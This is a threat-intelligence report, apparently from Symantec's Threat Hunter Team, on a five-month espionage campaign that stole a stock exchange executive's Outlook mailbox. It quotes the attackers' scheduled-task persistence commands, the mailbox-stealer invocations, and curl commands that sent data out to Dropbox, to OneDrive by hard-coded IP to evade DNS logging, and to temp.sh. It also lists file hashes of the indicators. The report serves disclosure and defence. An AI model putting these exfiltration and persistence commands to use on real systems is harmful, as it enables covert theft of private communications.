

Espionage Campaign Targeted Stock Exchange Executive for Five Months

✓ security.com/threat-intelligence/stock-exchange-espionage

A five-month espionage campaign targeted the email account of a senior figure at a major global stock exchange. For an espionage actor, a senior executive's mailbox is a high-value intelligence target. An Outlook profile may yield details of external negotiations, internal deliberations, the executive's calendar, travel pattern, and their contacts. Organizations such as exchanges and regulators may hold non-public information about listings, enforcement actions and market-moving events. Months of unfettered access to that mailbox lets an attacker build a near-complete picture of the target's working life and the organization's near-term direction without ever having to move laterally elsewhere on the network.

We do not normally publish on single-victim incidents, but the focus and operational discipline on display here, and the central role mailbox theft plays in espionage operations more broadly, makes this a useful illustration of what a targeted intrusion against a senior individual can look like over months rather than days.

The attackers took multiple steps to try and conceal their activity. They used legitimate cloud services (Dropbox and OneDrive) for exfiltration and their command and control (C2) infrastructure. They also used a variety of public tools, and named tools and services to blend in with legitimate traffic. The use of public tools and cloud infrastructure means the attackers did not leave many clues to their identity, so this activity cannot be attributed to a known attack group. However, the commands used by the attackers do point to the motivation for this attack being espionage.

Five months inside an executive mailbox at a major global stock exchange.

A patient, single-objective espionage campaign — exfiltrating one Outlook mailbox in small batches through **Dropbox** and **OneDrive Personal**, with no bespoke infrastructure and nothing distinctive enough to attribute.



Reconnaissance & access



Implant & persistence



Mailbox collection



Cloud-only exfiltration

DWELL TIME

≈ 150

days

KILL-CHAIN PHASES

6

distinct stages

MAILBOX RUNS

≥ 9

2–4 weeks apart

C2 INFRASTRUCTURE

1

Dropbox OAuth, reused

PHASE

01

Initial Access

Initial infection vector unknown.

First malicious activity observed on the targeted host. By this point the operators already had two payloads running with SYSTEM privileges.

OCT 10, 2025

DAY 0

PHASE

02

Foothold

Two masquerading binaries running as SYSTEM.

armsvc.exe staged under an Adobe Acrobat update path; oneservice.exe staged under a fake OneDrive setup path. Both spawned by wininit.exe via the Service Control Manager.

OCT 10, 2025

DAY 0

PHASE

03

Persistence

Scheduled tasks under legitimate-sounding names.

Tasks named for Adobe, Lenovo, and OneDrive system services — re-registered every few weeks across the campaign. Cadences of 3, 5, 300, 900, and 1440 minutes seen.

OCT 10, 2025 – MAR 2026

CONTINUOUS

PHASE

04

Command & Control

OAuth handshake to a single Dropbox app.

One persistent Dropbox application; the same client_id and client_secret reused across every subsequent transfer for five months. Only the per-session authorization code rotated.

NOV 12, 2025

ACTIVATION

PHASE

05

Collection

Aspose-based mailbox stealer, run on a date-window cadence.

A standalone wrapper around the Aspose .NET library, renamed to .tmp and dropped into Windows temp subfolders. Nine or more incremental runs at 2–4 week intervals, each picking up where the last left off.

NOV 12, 2025 – FEB 17, 2026

≈ 97 DAYS

PHASE

06

Exfiltration

Cloud services as carrier. No bespoke infrastructure.

NOV 12, 2025 – MAR 2026

CONTINUOUS

Figure 1. Attack chain

Attack chain

The initial infection vector used by the attackers in this incident is unknown. The first observed malicious activity on the targeted host was on October 10, 2025, by which point the attackers already had two masquerading binaries installed and running as SYSTEM. The first, `armsvc.exe`, was running from `CSIDL_COMMON_APPDATA\adobe\arm\armsvc.exe`, a path chosen to mimic the legitimate Adobe Acrobat Reader Update service. The second, `oneservice.exe`, was running from `CSIDL_PROFILE\appdata\local\microsoft\onedrive\setup\oneservice.exe`, a path the OneDrive setup helper would not normally use. Both binaries were spawned by `wininit.exe` under the service control manager, indicating the attackers had already achieved local privilege escalation.

`CSIDL_COMMON_APPDATA\adobe\arm\armsvc.exe`

`CSIDL_PROFILE\appdata\local\microsoft\onedrive\setup\oneservice.exe`

Persistence for the masquerading Adobe binary was registered as a five-minute scheduled task under a Microsoft Adobe themed name:

```
schtasks /create /sc minute /mo 5 /rl highest /ru "system" /tn
"\Microsoft\Windows\Adobe\ARM Service" /tr
"CSIDL_COMMON_APPDATA\adobe\arm\armsvc.exe" /f
```

The intrusion moved into a more active phase on November 12, 2025. The attackers completed the OAuth handshake required to obtain a Dropbox API token, using a single registered Dropbox application identified by `client_id`. The same `client_id` and `client_secret` were reused across every Dropbox upload and download observed over the next five months, indicating the attackers were operating one persistent Dropbox app and rotating only the per-session authorization codes:

```
curl https://api.dropbox.com/oauth2/token -d code=[REMOVED] -d
grant_type=authorization_code -d client_id=[REMOVED] -d client_secret=
[REMOVED]
```

Once the token was obtained, the attackers used `curl` to upload data to the Dropbox content endpoint. Example of a representative call:

```
curl -X POST https://content.dropboxapi.com/2/files/upload --header  
"Authorization: Bearer [REMOVED]" --header "Dropbox-API-Arg: {\"path\": \"  
[EXFILTRATION PATH]\"}"
```

Shortly afterwards, the attackers built out the scheduled-task layer that would drive the rest of the campaign. A single recognizable task name was used throughout, masquerading as a Lenovo system-health check, with the trigger pointing at one of c:\windows\temp\1.bat through 5.bat. The first registrations ran every 300 minutes (five hours):

```
schtasks /create /sc minute /mo 300 /rl highest /ru "system" /tn  
"\Microsoft\Windows\Lenovo\CheckServerHealth" /tr "c:\windows\temp\1.bat >>  
c:\windows\temp\1.txt" /f
```

Each .bat file's contents were not recovered, but the redirection of every run's output into a corresponding .txt file is consistent with a long-running task whose output is later picked up and exfiltrated. One scheduled-task entry registered the same day directly hooked the Aspose-based OST stealer into this layer, naming the target user's Outlook OST as the input and a date-range window as the argument:

```
schtasks /create /sc minute /mo 300 /rl highest /ru "system" /tn  
"\Microsoft\Windows\Lenovo\CheckServerHealth" /tr "c:\windows\temp\Aspose.exe  
-p [REMOVED]\ -f C:\Users\[REMOVED]\AppData\Local\Microsoft\Outlook\[REMOVED]  
-o c:\windows\temp\ -t 20250819-20251112" /f
```

The Aspose-based mailbox stealer is the main tool in this campaign. Aspose is a legitimate commercial .NET library with support for parsing Outlook OST and PST mailbox files. The attackers wrapped it in a standalone executable that converts an OST into a PST and writes the result to a chosen output directory. On the targeted host, the stealer was renamed using innocuous-looking temporary-file extensions, dropped into a series of Windows temp subfolders (CSIDL_WINDOWS\temp, ...\temp\skin, ...\temp\skin\licenses), and invoked repeatedly with the -p flag taking a password to unlock the OST and the -t flag specifying a date-range window.

The three filename variants observed (ts_9ea0.tmp, ts_e0d5.tmp, ts_e2d5.tmp) share the same SHA256 hash (db59813e3f27fb8608a4876e758f60b69d9700dc22d15237ac095bb3166fb622), confirming the attackers were redeploying the same binary under different filenames.

The first observed run on November 12 collected all mail from August 2025 onwards:

```
CSIDL_WINDOWS\temp\ts_9ea0.tmp -p [REMOVED] -f
CSIDL_PROFILE\appdata\local\microsoft\outlook\[TARGET EMAIL ADDRESS] -o
CSIDL_WINDOWS\temp -t 20250819-20251112
```

Subsequent invocations narrowed the window to recent days only, picking up where the previous extraction left off:

```
CSIDL_WINDOWS\temp\ts_9ea0.tmp -p [REMOVED] -f
CSIDL_PROFILE\appdata\local\microsoft\outlook\[TARGET EMAIL ADDRESS] -o
CSIDL_WINDOWS\temp -t 20251112-20251121
```

```
CSIDL_WINDOWS\temp\skin\ts_e0d5.tmp -p [REMOVED] -f
CSIDL_PROFILE\appdata\local\microsoft\outlook\[a[TARGET EMAIL ADDRESS] -o
CSIDL_WINDOWS\temp\skin -t 20251120-20251209
```

```
CSIDL_WINDOWS\temp\skin\licenses\ts_e2d5.tmp -p [REMOVED] -f
CSIDL_PROFILE\appdata\local\microsoft\outlook\[TARGET EMAIL ADDRESS] -o
CSIDL_WINDOWS\temp\skin\licenses -t 20251209-20251216
```

Eight further OST-extraction runs followed at roughly two-to-four-week intervals through to February 17, 2026, each time with a -t window that adjoined the previous one. The cumulative effect over the five months observed is a complete, near-continuous theft of the user's Outlook mailbox, broken into incremental archives small enough not to draw attention from security software.

From late November 2025 onwards, while the attackers continued to use Dropbox for primary uploads and downloads, they also added a second exfiltration channel: OneDrive Personal. This was accessed against hard-coded Microsoft IP addresses rather than the onedrive.live.com hostname. The first such call was made on November 21, 2025, against onedrive.live.com itself:

```
curl
"https://onedrive.live.com/personal/b546062c8e96f77a/_api/web/GetFolderByServerRelativePath(DecodedUrl=@a1)/Files/AddUsingPath(DecodedUrl=@a2,AutoCheckoutOnInvalidData=@a3,XorHash=@a4)?@a1=[REMOVED]&@a2=[REMOVED]&@a3=[REMOVED]&@a4=[REMOVED]"
```

Within minutes, the same call was retried against the Microsoft IP address 13.107.137.11, and from December onwards almost every OneDrive call observed used 150.171.41.11 in place of any hostname:

```
curl
```

```
"https://13.107.137.11/personal/b546062c8e96f77a/_api/web/GetFolderByServerRelativePath(DecodedUrl=@a1)/Files/AddUsingPath(DecodedUrl=@a2,AutoCheckoutOnInvalidData=@a3,XorHash=@a4)?..."
```

```
curl
```

```
"https://150.171.41.11/personal/b546062c8e96f77a/_api/web/GetFolderByServerRelativePath(DecodedUrl=@a1)/Files/AddUsingPath(DecodedUrl=@a2,AutoCheckoutOnInvalidData=@a3,XorHash=@a4)?..."
```

Both 13.107.137.11 and 150.171.41.11 belong to Microsoft's published address ranges and are used by onedrive.live.com or its CDN frontends. By switching from the hostname to a hard-coded IP, the attackers were able to reach OneDrive without producing any DNS queries for onedrive.live.com, a useful evasion against perimeter logging or DNS-based blocking.

Over the same November 20-21 window, the attackers also briefly experimented with a third exfiltration channel, using curl.exe to make three outbound HTTPS connections to 51.91.79.17:443, an address used by the public temporary-file-hosting service temp.sh. The channel was not used again after November 21.

```
curl -F file=@c:\windows\temp\TS_C7E3.tmp https://temp.sh/upload -k
```

Persistence was rebuilt many times across the campaign. New scheduled tasks under the same \Microsoft\Windows\Lenovo\CheckServerHealth name were registered every few weeks, sometimes at 300-minute intervals, sometimes at 900-minute (15-hour) intervals, and once at 1440-minute (one day) intervals, with each new registration overwriting the previous one and rotating between c:\windows\temp\1.bat through 5.bat as the trigger:

```
schtasks /create /sc minute /mo 900 /rl highest /ru "system" /tn  
"\Microsoft\Windows\Lenovo\CheckServerHealth" /tr "C:\windows\temp\1.bat >  
C:\windows\temp\1.txt" /f
```

On February 27, 2026, a further persistence anchor was added in the form of onedrivesync.exe, dropped to CSIDL_COMMON_APPDATA\microsoft onedrive\setup\onedrivesync.exe and registered as a three-minute scheduled task masquerading as the legitimate OneDrive sync service:

```
schtasks /create /sc minute /mo 3 /rl highest /ru "system" /tn  
"\Microsoft\Windows\MicrosoftOneDriveSyncServiceCore" /tr  
"\CSIDL_COMMON_APPDATA\microsoft onedrive\setup\onedrivesync.exe\" " /f
```

On March 19, a previously unseen binary (armdriver.exe) was launched from CSIDL_COMMON_APPDATA\adobe\arm\ondemand\armdriver.exe. A new component, te.host.dll (SHA256: 6c700ca4e6d917c7aa9d964e98604a0349d9b8b4673df96a3f73a3d2d042635a), was installed in CSIDL_COMMON_APPDATA\intel, a directory the attackers appear to have introduced specifically to host this DLL. The pairing of an Intel-themed staging directory with a DLL named to plausibly side-load against Microsoft Test Engine (te.exe) is notable, but no execution of the parent te.exe was found.

This was the last activity observed on the victim machine.

Conclusion

The attackers' focus throughout was on a single objective: long-term, incremental theft of the contents of a single Outlook mailbox, exfiltrated through Dropbox and OneDrive Personal in small batches over a period of five months to avoid raising suspicions or triggering alerts on the system.

This was a tightly focused and highly targeted campaign, with five months being a significant dwell time for an attacker. It is notable to see the different techniques and approaches used by the attacker in order to stay under the radar and maintain persistent access.

Protection/Mitigation

For the latest protection updates, please visit the [Symantec Protection Bulletin](#).

Indicators of Compromise (IOCs)

db59813e3f27fb8608a4876e758f60b69d9700dc22d15237ac095bb3166fb622 – Mailbox Infostealer

1f385acf11f8ea6673d7295be6492ea9913b525da25dcc037ea49ef4f86a9d58 – SharpDecryptPwd

2587217bc685527480c803ddf34a56ae9d9bf02681828a8a2081acc775312cf3 – FRPC

6a69ea2ce3fea0ebfd7a32a1dfc4251bd4d7d8a4fbd44aaa47b82290d0414a9f – Masquerading executable (appsvc.exe)

8b283c954d19a839a724961ccaf025c56988c4e745acb2d31a15a006cda072bf – Masquerading executable (sepservice.exe)

d78f64551d1b31a31e5998e442f0debd458e011e05019b3951d9ddde997f8384 – BypassUAC (bypassuac.exe)

8c0871cd0f60bc603424e948a689945a1828d0bef926a6470ae18cf17d93f7cb – Masquerading executable (armsvc.exe)

cf731b82c471211938b210ae8a6dcc7ece4f44371e716f056fa05151a9910727 – Masquerading executable (armsvc.exe)

acf5ed6e5bb90c44683938f35efeca551428064cdeddbbaab8be69e3474fb806f – Suspicious file (ss.exe)

308351124c496d4f4effee65ab828506abf70385773c167ab1f32a7f030385ac – BypassUAC (bypassuac.exe)

c3405d9c9d593d75d773c0615254e69d0362954384058ee970a3ec0944519c37 – Secretsdump

3b6cb20891bce8602ce669187754871e402a1782031ef8b032cd007e3894bc5d – Malicious executable (sidehost.exe)

d5e42104292513232d26ad7d9d317b5c779577da43e28fe27f8c2fb9318b0e8e – Malicious executable (sidehost.exe)

3aae5a24e63f3cb1ca4759b9e4ee8e503ff139189423f5fd8cc923c6819697ca – Masquerading executable (sepservice.exe)

611db3195d55e871dce67ce5c41e894bbaab88dd0d019af68f5a259f0108aef7 – Suspicious file (sddsvc.exe)

eaff006ac0eb7f7fe4db5fc6a4b5b1dc272d83ced66d510dcea185b1278bb453 – Masquerading executable (armsvc.exe)

02048121fd0b3a51751ce7677155aa8818eba9d8ce67ea26fd1d7f43cfcabd2 – Masquerading executable (armdriver.exe)

6c700ca4e6d917c7aa9d964e98604a0349d9b8b4673df96a3f73a3d2d042635a – Malicious DLL (te.host.dll)

f72a8b71f12eaab6518873f72ea4be4572d9f3fb8e8706ade3b9a7314f236f22 – Masquerading executable (onedrivesync.exe)

22f335a65c479c26019f6187dae290624117c82a702a96acbb04fa325f730d3e –
Masquerading executable (oneservice.exe)

About the Author



Threat Hunter Team

Symantec and Carbon Black

The Threat Hunter Team is a group of security experts within Broadcom whose mission is to investigate targeted attacks, drive enhanced protection in Symantec and Carbon Black products, and offer analysis that helps customers respond to attacks.